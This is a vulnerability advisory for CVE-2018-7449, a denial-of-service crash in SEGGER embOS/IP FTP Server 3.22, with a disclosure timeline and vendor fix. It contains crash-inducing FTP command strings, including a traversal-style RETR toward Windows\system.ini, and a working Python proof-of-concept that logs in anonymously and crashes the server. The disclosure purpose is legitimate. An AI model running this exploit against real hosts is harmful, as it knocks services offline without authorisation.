Segger embOS/IP FTP Server 3.22 Denial Of Service

`[+] Credits: John Page (aka hyp3rlinx)   
[+] Website: hyp3rlinx.altervista.org  
[+] Source: http://hyp3rlinx.altervista.org/advisories/SEGGER-embOS-FTP-SERVER-v3.22-FTP-COMMANDS-DENIAL-OF-SERVICE.txt  
[+] ISR: Apparition Security   
  
  
  
Vendor:  
=============  
www.segger.com  
  
  
Product:  
===========  
embOS/IP FTP Server v3.22  
  
  
Vulnerability Type:  
===================  
FTP Commands Denial Of Service  
  
  
  
CVE Reference:  
==============  
CVE-2018-7449  
  
  
Security Issue:  
================  
SEGGER embOS/IP FTP Server 3.22 allows remote attackers to cause a denial of service (daemon crash)  
via an invalid LIST, STOR, or RETR command.  
  
STOR 666\r\n  
LIST\r\n  
RETR '+'..\\'*8+'Windows\system.ini\r\n  
  
  
TELNET x.x.x.x 21  
  
220 Welcome to embOS/IP FTP server  
USER anonymous  
331 Password required.  
PASS anonymous  
230 User logged in, proceed.  
STOR Bye!  
  
CRASH!!!  
  
  
  
Exploit/POC:  
=============  
import socket,time  
  
VICTIM=raw_input('[+]Segger v3.22 FTP Server IP > ')  
USR='anonymous'  
PWD='anonymous'  
CMD="STOR Bye!\r\n"  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((VICTIM, 21))   
print s.recv(1024) # Recieve FTP Banner  
time.sleep(1)  
s.send("USER " + USR+ "\r\n")   
print s.recv(1024)   
time.sleep(1)  
s.send("PASS "+ PWD+"\r\n") #  
print s.recv(1024)   
time.sleep(1)  
s.send(CMD)  
print 'Sent %s' % CMD  
s.close()   
  
  
  
  
Network Access:  
===============  
Remote  
  
  
  
Severity:  
=========  
Medium  
  
  
  
Disclosure Timeline:  
=============================  
Vendor Notification: February 17, 2018  
Vendor acknowledgement: February 19, 2018  
Vendor released fixed version v3.22a : February 23, 2018  
March 1, 2018 : Public Disclosure  
  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information  
or exploits by the author or elsewhere. All content (c).  
  
hyp3rlinx  
`